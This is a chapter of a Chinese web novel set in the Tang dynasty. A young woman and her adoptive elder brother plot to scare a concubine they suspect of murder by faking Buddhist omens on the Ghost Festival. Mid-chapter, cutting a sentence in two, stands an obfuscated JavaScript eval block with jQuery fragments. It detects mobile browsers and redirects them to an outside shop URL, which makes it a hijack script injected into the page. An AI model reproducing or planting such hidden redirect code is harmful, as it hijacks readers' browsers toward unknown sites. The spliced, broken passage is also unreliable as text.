47. 斗陈氏(1)
作品:《大唐荔枝园(种田)》 柳玉瞻道:“不太像,似陈氏那般张狂的人,她害怕的前提是她相信,人会害怕自己根本不相信的东西吗?”
她拨弄着那两个皮影人。
“奇怪,奇怪……人真是很奇怪的生物,人人都敬重神佛,包括圣人,可当观世音菩萨撞了太宗皇帝的名讳时,就连受万人香火供奉的菩萨都要隐去‘世’字,改称观音,所以到底是天子尊贵,还是菩萨尊贵?人们真正尊崇的是人还是神佛?”
或许,神佛本不存在,有了人,才有神佛。
骆珩盯了柳玉瞻几秒,然后垂下了目光。
……
一日晚,月黑风急,几个外出采买的婢女静悄悄回了骆府,她们分别沿着几条小径穿过几道小门各自回了自己的住处,其中一个小丫头低着头弓着身子跑回了柳玉瞻的小院子,阿絮走过来迎她。
“我的小姑奶奶呦!你怎么才回来!”
柳玉瞻问道:“怎么了?难道是卢夫人发现我偷溜出去了?”
阿絮摇摇头:“不是卢夫人,是经常来找你叙话的那尊大佛。”
柳玉瞻顿时明白了:“好说好说!只要不是卢夫人就行。”
此时房间内的灯亮着,柳玉瞻不敢贸然走进去,只好走一步就伸着脖子往屋里看,透着劣质的屏风得以窥见骆珩在温书的身影。
她屋里的屏风是绢帛材质的,只有薄薄的一层,所以能清晰地瞧见屏风后的人影。
明明是她的房间她的地盘,此刻她却有一丝丝的心虚,不敢进去。
“咳咳——”
骆珩没来由地咳嗽了一声,柳玉瞻一瞬间胆战心惊,知道怎么都瞒不过他,索性不藏了,柳玉瞻大方着走出来,低着头,搓着手,唤了一声:“骆阿兄。”
听到她的声音,骆珩的心口像小猫挠一样,他将手中的书本合上,抬起头,像盯着猎物那般盯着她,压迫感十足。
骆珩抬手,用食指敲了敲面前的案几,一声,两声,发出如此悦耳的声音。
“这大晚上的,你跑何处去了?”
一句冷冰冰的话结束,屋子里静的连一根针掉落的声音都清晰明了。
“阿兄我……”
“你既唤我一声阿兄,那我就有权管教你。”
柳玉瞻心里很不服气,骆珩又不是她爸,凭什么管她?可惜人在屋檐下,有再大的骨气都不得不低头,柳玉瞻转过身,给自己打气:“大女子能屈能伸,我怎能与这等小男人一般计较。”
“你在嘟囔什么?转过头来。”
柳玉瞻迅速转过了头,果真能屈能伸。
骆珩起身,走到她身边,绕着她转了半圈,皱起眉头:“你穿着婢女的装束,还大晚上的外出,成何体统?现在已经过了宵禁时间,你若是被金吾卫抓住,骆府可保不了你。”
“这不是没被抓住嘛。”
“……这不是重点,重点是你不该如此打扮在这个时候外出,你到底还是闺阁女子,尽管时下风气开放,你也不该为所欲为,就这么去见那个裴子爽。”
“我没有去见裴子爽!”柳玉瞻反驳道。
她这个人最讨厌被别人误解,即便她不喜欢骆珩如此爹味的说教。
柳玉瞻的视线瞧着别处,她没看到,在她说完这句话时,骆珩有一丝难以捕捉到的欣喜的情绪,他的眉头极小幅度地轻挑了一下,随后归于平静。
骆珩当然不相信她去见裴子爽了,他胡乱猜的,只是为了诈她一下,至于结果,他挺满意的,还算这丫头知廉耻,不胡来。
柳玉瞻察觉到骆珩的心情好像好了些,这男人怎么莫名其妙的,当哥哥当上瘾了?
“不是去见裴子爽,那你干嘛去了?你第一次在我面前就穿错了衣服,今日的装束又如此不合规矩,到底是去见了何方神圣?那日我瞧着你的神情有些古怪,难不成,你真去庙里拜菩萨去了?”
一连串的问题问的柳玉瞻是晕头转向的。
她深呼吸几次,终于开始认真回答他:“首先,我没有去拜菩萨,其次,别揪着我的穿着不放,我打扮成这样是有原因的,我是去了……去了李宅!”
告诉他也无妨。
骆珩突然提高了音量:“你去李宅……”
柳玉瞻眼疾手快,为了防止他大喊大叫引来隔墙有耳,捂住了他的嘴巴,然后又迅速放开了他。
“骆阿兄,你别瞎嚷嚷,恐惊扰了旁人。”
“你既知此事不光彩,那为何还去。”
“我去这不是为了你的亲姑母吗?你作为骆府的公子哥,不领我的情就算了,还大晚上的来我房中堵我!你又成何体统!”
同一屋檐下的男女应该也是有男女大防的,不过既然都同一屋檐下了,今个你去我屋里,明个我去你屋里,关起门来,旁人看不见,也管不了什么,这一来二去的柳玉瞻便也不挑骆珩的毛病,只是他这个人实在太双标了,规矩全都束缚了旁人,到他这里来竟无半点不妥之处,不公啊不公!
他也就仗着是自己家,上有老夫人和卢夫人,宠得他跟什么似的。
骆珩想了想,柳玉瞻说的有道理,不想她竟这般在意姑母的姻缘,便也不逗她了。
“那你倒是说说,这次去李宅都干了什么?可让那个陈氏发现了?”
“被发现?开玩笑,我是什么人啊,如果没有十足的把握我会去?有道是不入虎穴焉得虎子,我这次去李宅可是有大发现,你知不知道李世伯的发妻是怎么死的?”
骆珩愣了一下,道:“因为难产啊,女人生孩子犹如鬼门关走一遭,这没什么稀奇的。”随后叹了口气,大约是惋惜李捷发妻的遭遇。
“问题就在这里,所有人都知道女人生孩子的时候是最危险的,即便一尸两命也是常事,若是有人想动手脚,也不会被怀疑,时间一久,便可瞒天过海。”
“你的意思是……”
“李捷的发妻还有她肚里的孩儿很有可能就是被小陈氏害死的,很有可能!”
“那你现如今可有证据?”
柳玉瞻却是摇摇头。
“那就是了,凡事都讲究证据,若是拿不出证据,那么你的推测再合理,也只是你的推测而已。”
柳玉瞻很讨厌骆珩做事的刻板:“证据证据你就知道证据,按照你的思路咱们得找到猴年马月去呀,到时候年头久远,说不定证据都被小陈氏给毁了,不仅不能让恶人浮出水面,连带着耽误了姑母的姻缘,有时候解决问题是需要一点点变通的,不需要证据,咱们只凭着虚无缥缈的猜测就可以诈她一诈,即便最后诈失败了,咱们也没有什么损失呀,那个小陈氏怀疑不到我头上的!”
赢了,就是一劳永逸,小陈氏在李捷那彻底失去倚仗,骆欣直接嫁进李宅做当家主母;输了,就当给小陈氏唱一出戏,成本也不高,怎么看都值得赌上一赌。
反正柳玉瞻又不是什么圣母白莲花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759052|183761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她对那个小陈氏厌恶至极,当初赏花宴上,小陈氏当着那么多人的面让她下不来台,要不是她机敏,又得骆珩慷慨相助,现在名声早就臭了,甚至有被骆府扫地出门的风险,那个小陈氏为了一己私欲丝毫不顾别人的处境,信口雌黄,那就别怪她不客气了,这事不止是姑母的事,也是她一雪前耻的好机会。
骆珩突然来了兴致,问道:“那你想怎么诈她?”
柳玉瞻还没想好,骆珩瞧着她转着眼睛想阴招的样子,以为她是不想告诉他,便说:“你下次的行动,必须告诉我,否则若是我再发现你自作主张偷偷溜出去,我就去告诉阿娘,说你大晚上的私会外男。”
他吓唬人有一手,柳玉瞻还真怕他这一招。
她迅速挽起骆珩的手臂,软着声音示弱:“阿兄,你别这么凶神恶煞的,我何时说过不告诉你了,玉瞻这就告诉你,你还别说,这事没你还真成不了……”
……
七月十五中元节,这一天,外面狂风呼啸,荒凉寂静,小陈氏不敢晚间外出,便去了家中净室,对着自家的佛龛上香拜佛。
她刚刚将三炷香安稳地插进香炉内,然后拜三拜,一抬头,不知怎的,三炷香皆少了一节。
小陈氏惊慌,连忙吩咐侍女重新插三炷香上去,侍女听话照做,结果小陈氏拜完抬起头,跟刚才一模一样,还是少了一节,这下陈氏彻底慌了,一把推开侍女,撒泼道:“没用的东西,上柱香也上不好,滚一边去!”
侍女平日里早就受够了小陈氏的动辄打骂,但又不敢忤逆,只好退到一边。
小陈氏又拿出了三炷香,这次她无比虔诚地重新将香插进香炉内,结果,又是断了一节。
小陈氏差点被吓出了失心疯,连滚带爬地跑回了自己房间,关上了门。
远处树枝上坐着的骆珩问柳玉瞻:“她进屋了,这怎么办?”
“这有什么难办的,当然是用她最尊崇的东西引她开门啊,你准备好没啊。”
骆珩咽了咽口水,僵硬着点头。
他还是第一次做这样的事情呢,上次头脑一热,竟就这样被柳玉瞻诳了过来,如此他是骑虎难下,只好陪她胡闹一番。
小陈氏躲在房间内,听外面的狂风大作,她不自觉地裹紧了被子,瑟瑟发抖。
“陈莺儿,陈莺儿……”
小陈氏听见有人在唤她的乳名,她自嫁人之后,几乎就没人喊她的乳名了,就连李捷也只是唤她陈氏,前面还要加个“小”字。
她儿时因为唱歌悦耳动听,所以阿娘给她取了个乳名叫“莺儿”,她不喜欢这个名字,因为只有乐坊里的乐妓才需要唱歌维持生计,阿娘根本没把她当个人看。
后来,她长姐要嫁人了,陈莺儿这才得了机会,她那日哭哭啼啼去找长姐,说怕长姐在婆家没人陪,所以自愿同长姐一同嫁进李家为妾,与长姐做个伴,也许是陈莺儿幸运吧,她这个荒唐的提议竟然一来二去就这么被两家同意了,且她长姐对李捷一般,只是单纯地和对方搭伙过日子,陈莺儿就这么如愿以偿地嫁进了李家,再没人唤她“莺儿”。
从前她恨极了“莺儿”这个称呼,后来她恨李捷口中“小陈氏”前头的那个“小”字,活了快大半辈子,她好像从没有堂堂正正地活一回。
陈莺儿蒙上被子,捂住耳朵,拒绝外界的一切声音。
突然,又传来了另一个声音:“陈莺儿,吾乃观音大士……”

